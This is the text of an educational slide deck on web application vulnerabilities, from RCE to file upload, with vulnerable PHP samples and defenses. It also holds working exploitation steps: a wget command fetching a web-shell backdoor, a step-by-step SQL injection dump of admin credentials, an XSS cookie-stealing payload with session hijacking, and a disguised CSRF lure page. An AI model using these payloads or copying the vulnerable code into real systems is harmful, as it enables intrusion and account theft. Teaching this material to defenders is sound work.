A slide show on the subject web application vulnerabilities. It contains how the vulnerabilities evolves, how to detect, how to exploit and how to defense against the vulnerabilities with example.
2. WEB APPLICATION VULNERABILITIES:
INTRODUCTION
Web applications are popular software application types in which the client
runs the application stored in server in his/her web browser.
A vulnerability is a weakness which allows an attacker to reduce a system's
information assurance.
The most common reason behind vulnerability is developers focus only on
productivity rather than quality and security.
Vulnerability allows hackers/crackers to control servers, access sensitive
details, breach privacy of users, etc.
3. WEB APPLICATION VULNERABILITIES:
INTRODUCTION (Cont.)
Most common vulnerability found in web applications are,
Injection Vulnerabilities
Remote Command Execution (RCE)
SQL Injection (SQLi)
File Inclusion
Local File Inclusion (LFI)
Remote File Inclusion (RFI)
Cross Site Scripting (XSS)
Cross Site Request Forgery
Broken Authentication and Session Management
Insecure direct object reference
Unvalidated redirects and forwards
Arbitrary File Upload
4. WEB APPLICATION VULNERABILITIES:
INTRODUCTION (Cont.)
According to the survey of web application security firm Acunetix, the 60%
of found vulnerabilities affects web applications.
According to the security vendor Cenzic, the top vulnerabilities in March
2012 include:
Percentage Vulnerability
37% Cross-site scripting
16% SQL injection
5% Path disclosure
5% Denial-of-service attack
4% Arbitrary code execution
4% Memory corruption
4% Cross-site request forgery
5% File inclusion
3% Data breach (information disclosure)
16% Other, including code injection
5. WEB APPLICATION VULNERABILITIES:
INTRODUCTION (Cont.)
The most efficient way to detect and solve vulnerability is manual code
review.
security society actively develops automated approaches to finding
security vulnerabilities
But it is time consuming process and also require expert skills. So most of
firms skips this step.
This leads the vulnerabilities unpatched, and cause breaching of security.
12. INJECTION VULNERABILITIES
Injection vulnerabilities are most dangerous vulnerability.
Injection flaws allow attackers to relay malicious code through an
application to another system.
These attacks include calls to the operating system via system calls, the use
of external programs via shell commands, as well as calls to backend
databases via SQL.
Whole scripts written in PHP, Python, and other languages can be injected
into poorly designed applications and executed.
Any time an application uses an interpreter of any type there is a danger of
introducing an injection vulnerability.
13. INJECTION VULNERABILITIES
(Cont.)
Many web applications use operating system features and external
programs to perform their functions.
When a web application passes information from an HTTP request through
as part of an external request, it must be carefully scrubbed.
The attacker can inject special (meta) characters, malicious commands, or
command modifiers into the information and the web application will
blindly pass these on to the external system for execution.
Injection vulnerabilities can be very easy to discover and exploit, but they
can also be extremely obscure.
The consequences of a successful injection attack can also run the entire
range of severity, from trivial to complete system compromise or
destruction.
15. REMOTE CODE EXECUTION
Remote Code Injection is the most dangerous and easiest to exploit
among other injection vulnerabilities.
Also known as arbitrary code injection.
The RCE allows attacker to execute command/code in remote machines
including operating system commands.
16. REMOTE CODE EXECUTION: DAWN
The common reason behind the RCE vulnerability is executing unvalidated
commands.
The application may execute command or code that are inserted using
queries.
If the application is not designed to validate the commands inserted in
queries, the hacker/cracker may inject their own command/code.
Execution of their command/code may cause the allowing unauthorized
access to server to the hacker/cracker.
17. REMOTE CODE EXECUTION: DAWN
(Cont.)
The following program is an example of RCE vulnerable webpage.
The bellow webpage is RCE vulnerable because it read the name from
query and uses as the argument for the command echo without proper
validation.
<?php
$name = $_GET['name'];
system("echo $name");
?>
19. REMOTE CODE EXECUTION:
DETECTION
Detection of RCE vulnerable webpage is very easy.
Just inject another command/code along with current or replace current
command with new one.
If the webpage shows result of newly injected command/code we can
conclude the webpage is vulnerable to RCE.
21. REMOTE CODE EXECUTION: EXPLOIT
Like detecting RCE vulnerability, exploiting vulnerability is also very easy.
The exploitation can be done the same way we detected the RCE
vulnerability.
That is, append the commands to the query.
It enables intruders to get unauthorized access to remote server which
makes high risk.
Normally the hackers/crackers uses RATs to get full access on server.
Several server backdoors are available in Internet.
Most popular backdoors are: C99, Indrajith Mini Shell, b374k, Madspot
shell, etc.
22. REMOTE CODE EXECUTION: EXPLOIT
(Cont.)
Here shows how the hacker downloads the Indrajith Mini Shell from
https://packetstormsecurity.com.
The Indrajith Mini Shell is located at
https://dl.packetstormsecurity.net/UNIX/penetration/rootkits/indrajith-
2.0.txt .
To download remote files, the command wget is used in Linux. Also it is
available to Windows.
To download Indrajith Mini Shell, we can use command:
wget https://dl.packetstormsecurity.net/UNIX/penetration/rootkits/indrajith-2.0.txt –O indr.php
25. REMOTE CODE EXECUTION: EXPLOIT
(Cont.)
After download
complete, we can control
the server using Indrajith
Mini Shell RAT.
26. REMOTE CODE EXECUTION: EXPLOIT
(Cont.)
The defense against RCE vulnerability good programming approach.
Validate the queries before execute.
Try to avoid accepting command/code from queries maximum.
28. SQL INJECTION
SQLi allows intruder to execute SQL queries.
A SQL injection attack consists of insertion or "injection" of a SQL query via
the input data from the client to the application.
A successful SQL injection exploit can read sensitive data from the
database, modify database data (Insert/Update/Delete), execute
administration operations on the database (such as shutdown the DBMS),
29. SQL INJECTION:DAWN
The reason behind SQLi is the developers careless coding.
SQL statements must be enclosed carefully, and otherwise the result will be SQLi.
<?php
$id = $_GET['id'];
$conn = new mysqli("localhost", "root", "", "items");
$res = $conn->query("SELECT * FROM items WHERE id=$id;") or die(mysqli_error($conn));
if ($res->num_rows > 0) {
while($r = $res->fetch_assoc()){
echo "Your name is ".$r['name'];
}
}
$conn->close();
?>
30. SQL INJECTION:DAWN
(Cont.)
The above code is vulnerable to SQLi because the developers is not
validating the `id` query read from URL.
So, we can manipulate the `id` and insert new queries to it.
Here, the program uses query SELECT * FROM items WHERE id=1
The id is read from URL query.
If hacker/cracker append some query like, SELECT * FROM items WHERE
id=1 union select 1,@@version the output will be look like bellow image.
32. SQL INJECTION:DAWN
(Cont.)
We have executed a new query along with desired query.
This is the mechanism where hacker/cracker uses in SQLi.
33. SQL INJECTION:DETECTION
(Cont.)
Like other injection flaws, SQLi is also easy to detect.
Make some errors in query and check what impact is it makes.
Eg. In above webpage the `id` is read from query and the type of `id` is
integer, alter the query and append a single quote at the end.
If the webpage shows error like: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the
right syntax to use near ''' at line 1 we can conclude the webpage is
vulnerable to SQLi.
35. SQL INJECTION:EXPLOITATION
STEP 1: COUNT NUMBER OF COLUMNS
To find number of columns we
use statement ORDER BY which
tells database how to order the
result.
To count the columns just
incrementing the number until
we get an error.
http://www.site.com/sqli.php?id=
1 order by 1 /* <-- no error
http://www.site.com/sqli.php?id=
1 order by 2 /* <-- no error
http://www.site.com/sqli.php?id=
1 order by 3 /* <-- error (we get
message like this Unknown
column '3' in 'order clause' or
something like that)
That means that it has 2 columns,
because we got an error on 3.
36. SQL INJECTION:EXPLOITATION
STEP 2: FINDING VULNERABLE COLUMN
To find that, use query,
http://www.site.com/sqli.p
hp?id=1 union select 1,2—
The webpage shows 2
because the webpage
showing 2nd column data.
37. SQL INJECTION:EXPLOITATION
STEP 3: FINDING SQL SERVER VERSION AND DATABASE
To view which version of
SQL server is using,
replace `2` with version()
or @@version
http://www.site.com/sqli.p
hp?id=1 union select
1,@@version--
38. SQL INJECTION:EXPLOITATION
STEP 3: FINDING SQL SERVER VERSION AND DATABASE
To view which version of
SQL server is using,
replace `2` with
database().
http://www.site.com/sqli.
php?id=1 union select
1,database()--
39. SQL INJECTION:EXPLOITATION
STEP 4: LIST OUT ALL TABLES
To list out all tables bellow
query is used.
http://www.site.com/sqli.php
?id=1 union select
1,group_concat(table_name)
from
information_schema.tables
where
table_schema=database()--
group_concat(): Return a
concatenated string.
40. SQL INJECTION:EXPLOITATION
STEP 5: LIST OUT COLUMNS FROM SELECTED TABLE
Here, we have 2 tables: items
and admin. The sensitive details
may store in admin table. So,
let’s dump admin table.
First step is get the column
names of table admin. To get
these details, the bellow query
is used.
http://www.site.com/sqli.php?id
=1 union select 1,
group_concat(column_name)
from
information_schema.columns
where table_name=CHAR(97,
100, 109, 105, 110)–
The table name `admin` can be
represent using ASCII value or
hex value.
The output shows, admin table
contains columns uid, uname
and password.
41. SQL INJECTION:EXPLOITATION
STEP 6: DUMP DATA
Next step is dump data
from table `admin`.
http://www.site.com/sqli.ph
p?id=1 union select
1,group_concat(uid, 0x3a,
uname, 0x3a,
password,0x3b)+from+ad
min—
The output shows that uid
is 1, username is
`ajithkp560` and password
is `mypasswd`. So, we have
successfully dumped the
data from database.
43. SQL INJECTION: DEFENSE
The defense for SQLi is good programming approaches.
The good programming approach is use prepared statements and
parameterized queries.
These are SQL statements that are sent to and parsed by the database
server separately from any parameters.
This way it is impossible for an attacker to inject malicious SQL queries.
44. SQL INJECTION: DEFENSE
Prepared Statements and Parameterized Queries
A prepared statement is a feature used to execute the same (or similar)
SQL statements repeatedly with high efficiency.
Prepared statements basically work like this:
Prepare: An SQL statement template is created and sent to the database.
Certain values are left unspecified, called parameters (labeled "?"). Example:
INSERT INTO MyGuests VALUES(?, ?, ?)
The database parses, compiles, and performs query optimization on the SQL
statement template, and stores the result without executing it
Execute: At a later time, the application binds the values to the parameters, and
the database executes the statement. The application may execute the
statement as many times as it wants with different values
45. SQL INJECTION: DEFENSE
Prepared Statements and Parameterized Queries
Compared to executing SQL statements directly, prepared statements have
two main advantages:
Prepared statements reduces parsing time as the preparation on the query is
done only once (although the statement is executed multiple times).
Bound parameters minimize bandwidth to the server as you need send only the
parameters each time, and not the whole query.
Prepared statements are very useful against SQL injections, because
parameter values, which are transmitted later using a different protocol,
need not be correctly escaped.
If the original statement template is not derived from external input, SQL
injection cannot occur.
46. SQL INJECTION: DEFENSE
Prepared Statements and Parameterized Queries
The secured version sample program is,
<?php
$id = $_GET['id'];
$conn = new mysqli("localhost", "root", "", "items");
$st = $conn->prepare("SELECT * FROM items where id = ?");
$st->bind_param("i", $id);
$st->execute();
$st->bind_result($id, $name);
while($st->fetch()){
echo "Your name is $name";
}
$conn->close();
?>
47. SQL INJECTION: DEFENSE
Prepared Statements and Parameterized Queries
After secured using
prepared statements, the
error in SQL statement
not makes any error
messages in webpage.
That is SQLi bug is
eliminated.
49. FILE INCLUSION
File inclusion is another dangerous vulnerability in web applications which
cause inclusion of intruder desired files such as RAT or sensitive files like
/etc/passwd, /etc/shadow, etc.
The vulnerability occurs due to the use of user-supplied input without
proper validation.
This can lead to something as minimal as outputting the contents of the
file or more serious events such as:
Code execution on the web server.
Code execution on the client-side such as JavaScript which can lead to other
attacks such as cross site scripting (XSS).
Denial of service (DoS).
Data theft/manipulation.
50. FILE INCLUSION
(Cont.)
The file inclusion have two types according to the file can be included.
Remote File Inclusion: Remote File Inclusion (RFI) is a type of vulnerability
most often found on websites. It allows an attacker to include a remote file,
usually through a script on the web server. The vulnerability occurs due to the
use of user-supplied input without proper validation.
Local File Inclusion: Local File Inclusion (LFI) is similar to a Remote File
Inclusion vulnerability except instead of including remote files, only local files
i.e. files on the current server can be included. The vulnerability is also due to
the use of user-supplied input without proper validation.
51. FILE INCLUSION:DAWN
Like other injection flaws, the file inclusion vulnerability also arise due to
improper development.
The developer should hide the details of including files from user.
The vulnerability occurs due to the use of user-supplied input without proper
validation.
The file inclusion vulnerability is an example of insecure direct object reference
Eg.
<?php
$col = $_GET['color'];
include($col);
?>
52. FILE INCLUSION:DETECTION
File inclusion vulnerability can be detect using change the query value.
After altering the query value, the webpage shows some changes, we can
declare it is vulnerable to file inclusion.
54. FILE INCLUSION:EXPLOITATION
Like the detection, exploitation also very simple.
The exploitation can be done by including malicious webpages or sensitive
file into vulnerable page.
58. FILE INCLUSION:EXPLOITATION
RFI Defense
To protect from RFI with simple way edit the php.ini file. Open php.ini in editor. Find
allow_url_fopen and allow_url_include and change from on to off. It will resist the page
from inclusion of remote page.
Next is editing of .htaccess in Apache server. .htaccess file is the configuration file of
Apache server.
RewriteEngine On
RewriteBase /
RewriteCond %{QUERY_STRING} ^.*=(ht)|(f)+(tp)+(://|s://)+.*(??)+
RewriteRule .* http://www.site.com [R,L]
The above .htaccess configuration will check the query string and if any `http://` or
`ftp://` string found in query, redirect to http://www.site.com.
Validate the user queries. This is traditional defense mechanism. Validate the user inputs
and if malicious query found, cancel the inclusion.
59. FILE INCLUSION:EXPLOITATION
LFI Defense
LFI protection can be achieved through good programming practices.
Avoid including files from queries will solve maximum.
Also provide a good verifying procedure to verify the queries from user.
61. CROSS SITE SCRIPTING
This vulnerability also known as XSS.
XSS vulnerability is dangerous vulnerability which is harm for clients. That is, it is a
client side attacking vulnerability.
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts
are injected into otherwise benign and trusted web sites.
XSS attacks occur when an attacker uses a web application to send malicious code,
generally in the form of a browser side script, to a different end user.
Flaws that allow these attacks to succeed are quite widespread and occur anywhere a
web application uses input from a user within the output it generates without
validating or encoding it.
62. CROSS SITE SCRIPTING: DAWN
Cross-Site Scripting (XSS) attacks occur when:
Data enters a Web application through an untrusted source, most frequently a web
request.
The data is included in dynamic content that is sent to a web user without being validated
for malicious content.
The malicious content sent to the web browser often takes the form of a segment of
JavaScript, but may also include HTML, Flash, or any other type of code that the
browser may execute.
The variety of attacks based on XSS is almost limitless, but they commonly include
transmitting private data, like cookies or other session information, to the attacker,
redirecting the victim to web content controlled by the attacker, or performing other
malicious operations on the user's machine under the guise of the vulnerable site.
63. CROSS SITE SCRIPTING: DAWN
Stored and Reflected XSS Attacks
XSS attacks can generally be categorized into two categories: stored and
reflected.
Stored XSS Attacks
Stored attacks are those where the injected script is permanently stored on the
target servers, such as in a database, in a message forum, visitor log, comment
field, etc.
The victim then retrieves the malicious script from the server when it requests
the stored information.
Stored XSS is also sometimes referred to as Persistent or Type-I XSS.
64. CROSS SITE SCRIPTING: DAWN
Reflected XSS Attacks
Reflected attacks are those where the injected script is reflected off the web server,
such as in an error message, search result, or any other response that includes some
or all of the input sent to the server as part of the request.
Reflected attacks are delivered to victims via another route, such as in an e-mail
message, or on some other web site.
When a user is tricked into clicking on a malicious link, submitting a specially crafted
form, or even just browsing to a malicious site, the injected code travels to the
vulnerable web site, which reflects the attack back to the user’s browser.
The browser then executes the code because it came from a "trusted" server.
Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS.
65. CROSS SITE SCRIPTING: DAWN
Example:
<?php
session_start();
if(!$_SESSION['name']){
$_SESSION['name']=$_GET['name'];
}
echo "Hello, ".$_SESSION['name']."<br />";
echo 'You searched: '.$_GET['q'];
?>
In this example, the query is directly showing in the webpage without any
validation. So, this webpage is vulnerable to XSS.
66. CROSS SITE SCRIPTING: DETECTION
XSS flaws can be difficult to identify and remove from a web application.
The best way to find flaws is to perform a security review of the code and search for all
places where input from an HTTP request could possibly make its way into the HTML
output.
Note that a variety of different HTML tags can be used to transmit a malicious JavaScript.
Nessus, Nikto, and some other available tools can help scan a website for these flaws, but
can only scratch the surface. If one part of a website is vulnerable, there is a high
likelihood that there are other problems as well.
Simply the XSS vulnerabilities are detected by injecting simple script to it and check
whether the script is executed or not.
Normally, an alert() function is injected.
Example. http://site.com/xss.php?name=Ajith&q=<script>alert(‘Ajith’);</script>
68. CROSS SITE SCRIPTING:
EXPLOITATION
The exploitation of XSS vulnerability is done by injecting malicious script
code into it.
Normally XSS vulnerability is used to highjack cookies of users.
Now, let’s redirect the user to a malicious script which stores cookie value.
To get cookie, inject the script:
<script>location.href='http://localhost/ajith/cookie.php?cookie='+docume
nt.cookie;</script>
In URL Encoded form. That is,
%3Cscript%3Elocation.href%3D%27http%3A%2F%2Flocalhost%2Fajith%2F
cookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E
69. CROSS SITE SCRIPTING:
EXPLOITATION
After visiting the script
injected page, the user
redirects to malicious
page.
The malicious page have
captured the session
cookie of user.
70. CROSS SITE SCRIPTING:
EXPLOITATION
The next step is cookie poisoning. The Cookies add-ons of Google Chrome
is used to edit cookie.
Cookie poisoning: Editing session cookie of intruder with the session
cookie value of victim (user).
That is hkjeeiht0o2mm9g5ssa2fnadi5 with n4u6llvn311fctco07918i58b4.
72. CROSS SITE SCRIPTING:
EXPLOITATION
Cookie poisoning step.
Change value of session
cookie PHPSESSIONID ‘s
value
hkjeeiht0o2mm9g5ssa2fnadi
5 with
n4u6llvn311fctco07918i58b4.
73. CROSS SITE SCRIPTING:
EXPLOITATION
After cookie poisoning,
refresh webpage.
Now the session says the
user is `Ajith`.
That is hacker/cracker have
successfully exploited XSS
vulnerability.
74. CROSS SITE SCRIPTING: DEFENSE
Defense against XSS is good coding approaches, that is, do not allow injecting
untrusted data into the webpage.
Never Insert Untrusted Data Except in Allowed Locations
Untrusted data must not be shown in webpage directly. It will lead to XSS vulnerability.
<script>...NEVER PUT UNTRUSTED DATA HERE...</script> directly in a script
<!--...NEVER PUT UNTRUSTED DATA HERE...--> inside an HTML comment
<div ...NEVER PUT UNTRUSTED DATA HERE...=test /> in an attribute name
<NEVER PUT UNTRUSTED DATA HERE... href="/test" /> in a tag name
<style>...NEVER PUT UNTRUSTED DATA HERE...</style> directly in CSS
75. CROSS SITE SCRIPTING: DEFENSE
(Cont.)
HTML Escape Before Inserting Untrusted Data into HTML Element Content
The another method to prevent XSS vulnerability is escape the following characters with HTML
entity encoding to prevent switching into any execution context, such as script, style, or event
handlers. Using hex entities is recommended in the spec. In addition to the 5 characters
significant in XML (&, <, >, ", '), the forward slash is included as it helps to end an HTML entity.
& --> &
< --> <
> --> >
" --> "
' --> '
/ --> /
If the untrusted data are escaped, we can prevent XSS vulnerability successfully.
In PHP the function htmlspecialchars() is used to escape the untrusted data.
76. CROSS SITE SCRIPTING: DEFENSE
(Cont.)
The secured code of above XSS vulnerable example is,
<?php
session_start();
if(!$_SESSION['name']){
$_SESSION['name']=htmlspecialchars($_GET['name']);
}
echo "Hello, ".$_SESSION['name']."<br />";
echo 'You searched: '.htmlspecialchars($_GET['q']);
?>
77. CROSS SITE SCRIPTING: DEFENSE
(Cont.)
After encoding the
character before showing
in webpage.
The injection of script is
failed here.
79. CROSS SITE REQUEST FORGERY
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute
unwanted actions on a web application in which they're currently authenticated.
CSRF attacks specifically target state-changing requests, not theft of data, since the
attacker has no way to see the response to the forged request.
With a little help of social engineering (such as sending a link via email or chat), an
attacker may trick the users of a web application into executing actions of the
attacker's choosing.
If the victim is a normal user, a successful CSRF attack can force the user to perform
state changing requests like transferring funds, changing their email address, and so
forth.
If the victim is an administrative account, CSRF can compromise the entire web
application.
80. CROSS SITE REQUEST FORGERY:
DAWN
The reason behind CSRF is accepting non validated data requests received.
Most of developers are unaware of CSRF because it is not a popular
vulnerability among other dangerous vulnerabilities.
Because, the hacker/cracker cannot get access to server nor client, but can
do some jobs by the client in server.
This vulnerability will become most dangerous when the websites like
online banking, online market, etc. websites are vulnerable to CSRF.
The hacker/cracker can transfer money or buy thing using the CSRF
vulnerability.
81. CROSS SITE REQUEST FORGERY:
DAWN (Cont.)
Sample webpage code which is vulnerable to CSRF.
<?php
session_start();
if($_SESSION['name']){
?>
<form method="post" action="?">
<textarea name='msg'></textarea><br/>
<input type="submit" value="send" />
</form>
<?php
}
if(isset($_REQUEST['msg'])){
echo $_SESSION['name'].": ".$_REQUEST['msg'];
}
?>
83. CROSS SITE REQUEST FORGERY:
DETECTION
The CSRF can be detect by sending requests created manually to the
preferred webpage.
If the webpage responds to the request, the webpage is vulnerable to
CSRF.
To check this, we can use Live HTTP Headers, an add-ons of Mozilla
Firefox.
The tool is very popular among hackers/crackers because altering headers
are important steps in many vulnerability exploitations.
84. CROSS SITE REQUEST FORGERY:
DETECTION (Cont.)
Before altering message
using Live HTTP Header.
85. CROSS SITE REQUEST FORGERY:
DETECTION (Cont.)
After altering message
through Live HTTP Headers.
Successfully send new data
through the Live HTTP
Headers and the webpage
respond to the data we have
send.
86. CROSS SITE REQUEST FORGERY:
EXPLOITATION
Most commonly the exploitations are done by cheating clients by hiding forms, or
automatic form submitter. A sample malicious code which will submit message to the
above form is bellow,
<html>
<header>
<title>Get Avast! Key</title>
</header>
<body>
<form method="post" action="http://localhost/ajith/csrf.php">
<input name="msg" type="hidden" value="I hacked you" />
<input type="submit" value="Generate Avast! Key" />
</form>
</body>
</html>
87. CROSS SITE REQUEST FORGERY:
EXPLOITATION (Cont.)
It is fake page which
says it will give you
Avast! Antivirus serial
key.
But really, if you click
the button the hidden
form will submit to the
page csrf.php page.
Also notice that, the
form is not in the same
domain where csrf.php
lies.
88. CROSS SITE REQUEST FORGERY:
EXPLOITATION (Cont.)
The victim have submitted
the form with message `I
hacked you` without concern
of victim.
The CSRF vulnerability will
become more malicious
when the website is of
online banking or online
trading.
89. CROSS SITE REQUEST FORGERY:
DEFENSE
The defense of CSRF is done by following ways.
Using a secret cookie
Remember that all cookies, even the secret ones, will be submitted with every request. All authentication
tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request.
Furthermore, session identifiers are simply used by the application container to associate the request with a
specific session object.
The session identifier does not verify that the end-user intended to submit the request.
Only accepting POST requests
Applications can be developed to only accept POST requests for the execution of business logic.
The misconception is that since the attacker cannot construct a malicious POST request, a CSRF attack cannot
be executed: Unfortunately, this logic is incorrect.
There are numerous methods in which an attacker can trick a victim into submitting a forged POST request,
such as a simple form hosted on the attacker's website composed entirely of hidden fields.
This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form
will do something else.
90. CROSS SITE REQUEST FORGERY:
DEFENSE (Cont.)
Use GET requests only for retrieve data, not for manipulate any data
in server
The GET requests can be come from any website because it will be shown I URL
bar of web browser and can be copy to share.
So, use the GET requests only for retrieve data and not used for manipulate any
data stored in server.
Server side protection
Another defending way is use WAF (Web Application Firewall) to verify the
requests came to server.
Today most of frameworks provide the CSRF security. The framework like Code
Igniter (PHP), Ruby on Rails (Ruby), Django (Python) provides security against
CSRF.
92. BROKEN AUTHENTICATION AND
SESSION MANAGEMENT
Broken authentication and session management is common vulnerabilities
that appears on applications developed by newbie developers.
Commonly this type of vulnerabilities arise when the developer
authenticates user only on the login page and in other pages forgets to
verify the user.
93. BROKEN AUTHENTICATION AND
SESSION MANAGEMENT: DAWN
The broken authentication and session management is arise due to development of
application by inexperience developers and also due to provide authentication in
important pages.
Also another important weakness is improper session management. If the sessions are
showing in public, like showing it in URL also will lead to broken authentication.
A common example of broken authentication is, in a website of project management
system, manager can login through login_manager.php, and after login he will redirect
to home_manager.php.
The developer verifies username and password in the page login_manager.php and if
login successful, he will redirect to home_manager.php, where he avoids verification of
user who opened the page.
That enables anyone can open home_manager.php page directly without login.
The broken authentication and session management will become more dangerous when
the page which does not verify the user have right to upload new files and edit data
stored in server.
94. BROKEN AUTHENTICATION AND
SESSION MANAGEMENT: DETECTION
Very easy to identify.
Check whether the page which will open only after login can open directly
without login.
95. BROKEN AUTHENTICATION AND SESSION
MANAGEMENT: EXPLOITATION
The exploitation have the same step of detection.
If the intruder can open the sensitive important webpage without login, he
can manage or get information stored in that webpage.
Also, if that page allows to edit, delete, create or upload data the
vulnerability will become evil.
96. BROKEN AUTHENTICATION AND SESSION
MANAGEMENT: DEFENSE
Defense for the broken authentication and session management is good
development practices.
If authentication needed, provide authentication procedure and if any
unauthenticated request to the webpage comes avoid responding to the
requests.
Also handle the sessions with care.
Do not make session values public, if it shows in public, the sessions may
high jacked just like showed in exploitation of XSS.
97. INSECURE DIRECT OBJECT REFERENCE
Insecure direct object reference can be originate in many ways.
One of the example of insecure direct object reference including page
referred by query.
We have discussed about file inclusion vulnerability which is an example of
insecure direct object reference.
Another example of insecure direct object reference is cross site scripting
(XSS).
98. INSECURE DIRECT OBJECT REFERENCE:
DAWN
The insecure direct object reference vulnerability is originates because of
improper programming practices.
The developer must not use the objects directly for sensitive purposes.
While talking about file inclusion, the vulnerability is occurred because of
including file directly from the query.
Like that when using direct objects the developer must consider all
probabilities of misusing it.
99. INSECURE DIRECT OBJECT REFERENCE:
DAWN(Cont.)
Example code:
<?php
$user = $_GET['user'];
$conn = new mysqli("localhost", "root", "", "items");
$st = $conn->prepare("SELECT * FROM users where uname = ?");
$st->bind_param("s", $user);
$st->execute();
$st->bind_result($uname, $name, $address);
while($st->fetch()){
echo "Hello, ".$name."<br/>Your username is ".$uname."<br/>Address is ".$address;
}
$conn->close();
?>
Here the username is taking directly without verifying the user.
100. INSECURE DIRECT OBJECT REFERENCE:
DAWN(Cont.)
Here, the username is
referenced directly from
query without verifying the
user.
101. INSECURE DIRECT OBJECT REFERENCE:
EXPLOITATION
The exploitation of insecure direct object reference vulnerability is done by
changing the values of direct objects and if the webpage responds with
direct object’s values maliciously, the vulnerability may cause data expose
and like file inclusion vulnerabilities will cause getting access to server.
The above example can be exploit using change the query `name` ’s value.
102. INSECURE DIRECT OBJECT REFERENCE:
EXPLOITATION (Cont.)
After altering the query value
of user, the hacker/cracker
have opened the user
account of another user.
The above process is done
without any validation.
104. UNVALIDATED REDIRECTS AND
FORWARDS
This is not a serious vulnerability to the server, but it may tricked to the
users by phishing, cheating forms, etc.
So, the developer must care about unvalidated redirects and forwards.
105. UNVALIDATED REDIRECTS AND
FORWARDS: DAWN
Like other vulnerability this vulnerability too appears because of improper
development practices.
This is another example of insecure direct object reference. Because the univalidated
redirection occurs because of hacker/cracker can include the redirecting path directly
to the webpage through queries.
Example:
<?php
$url = $_GET['url'];
header("Location: $url");
?>
The above example webpage code will redirect the user to the webpage specified by
the query `url` without any validations.
106. UNVALIDATED REDIRECTS AND
FORWARDS: EXPLOITATION
The unvalidated redirections and forwards can be exploited by redirecting
user to the phishing page or any other malicious webpages.
In the above example we can redirect the user by giving link,
http://www.site.com/redirect.php?url=http://malicioussite.com/maliciousp
age.php
If the user opened the above URL, the user will redirect without any
validation, to the page http://malicioussite.com/maliciouspage.php.
107. UNVALIDATED REDIRECTS AND
FORWARDS: DEFENSE
The defense against unvalidated redirects and forwards are just provide
validation procedure before redirected to the webpage.
The access checking is better way to validate the redirection URL. Before
redirect check to ensure the user is authorized for the requested object.
Also we can use the same mechanism we have used to defend CSRF
vulnerability, that is, use a token to verify the real user is requested the
redirection.
109. ARBITRARY FILE UPLOAD
This vulnerability also known as unrestricted file upload vulnerability.
Uploaded files represent a significant risk to applications.
The first step in many attacks is to get some code to the system to be attacked.
Then the attack only needs to find a way to get the code executed.
Using a file upload helps the attacker accomplish the first step.
The consequences of unrestricted file upload can vary, including complete system
takeover, an overloaded file system or database, forwarding attacks to back-end
systems, and simple defacement.
It depends on what the application does with the uploaded file and especially where
it is stored.
110. ARBITRARY FILE UPLOAD
(Cont.)
There are really two classes of problems here. The first is with the file
metadata, like the path and file name.
These are generally provided by the transport, such as HTTP multi-part
encoding.
This data may trick the application into overwriting a critical file or storing
the file in a bad location.
You must validate the metadata extremely carefully before using it.
111. ARBITRARY FILE UPLOAD: DAWN
The vulnerability arise due to allow users to upload any type of files without any validations.
Example:
<form method="POST" enctype="multipart/form-data">
<input type="file" name="ufile" />
<input type="submit" name="upl" value="UPLOAD" />
</form>
<?php
if(isset($_REQUEST['upl'])){
if(move_uploaded_file($_FILES['ufile']['tmp_name'], $_FILES['ufile']['name'])){
echo "You have uploaded: ".$_FILES['ufile']['name'];
}
}
?>
112. ARBITRARY FILE UPLOAD:
EXPLOITATION
The exploitation of this vulnerability include uploading files which can be used to
attack the platforms like PHP, JSP, ASP, etc.
That is upload the RATs. Also, the hacker/cracker can upload malicious executable
files like Trojans and can made users to download and execute the Trojans.
Attacks on application platform
Upload .php file into web tree – php code executed as web user
Upload .gif to be resized - image library flaw exploited
Upload huge files - file space denial of service
Upload file using malicious path or name - overwrite critical file
Upload file containing personal data - other users access it
Upload file containing "tags" - tags get executed as part of being "included" in a web page
113. ARBITRARY FILE UPLOAD:
EXPLOITATION(Cont.)
Attacks on other systems
Upload .exe file into web tree - victims download trojaned executable
Upload virus infected file - victims' machines infected
Upload .html file containing script - victim experiences Cross-site Scripting
(XSS)
114. ARBITRARY FILE UPLOAD: DEFENSE
The defense can be done by validate the uploaded files. Validate the uploaded files
including extension and size.
Also, the checking of metadata will prevent some bypass techniques.
Example:
<form method="POST" enctype="multipart/form-data">
<input type="file" name="ufile" />
<input type="submit" name="upl" value="UPLOAD" />
</form>
<?php
if(isset($_REQUEST['upl'])){
$check = getimagesize($_FILES["ufile"]["tmp_name"]);
if($check!=false){
if(move_uploaded_file($_FILES['ufile']['tmp_name'], $_FILES['ufile']['name'])){
115. ARBITRARY FILE UPLOAD: DEFENSE
(Cont.)
echo "You have uploaded: ".$_FILES['ufile']['name'];
}
}
else{
echo "Error: Upload images";
}
}
?>
The above code checks the uploaded file is real image by reading the image size. If
image size is found, we can declare it is an image is going to upload.
That means, only image can upload.
116. THE END…
PREPARED BY AJITH KP ( AJITHKP560@GMAIL.COM /
R00T3DINJ3CT0R@GMAIL.COM )
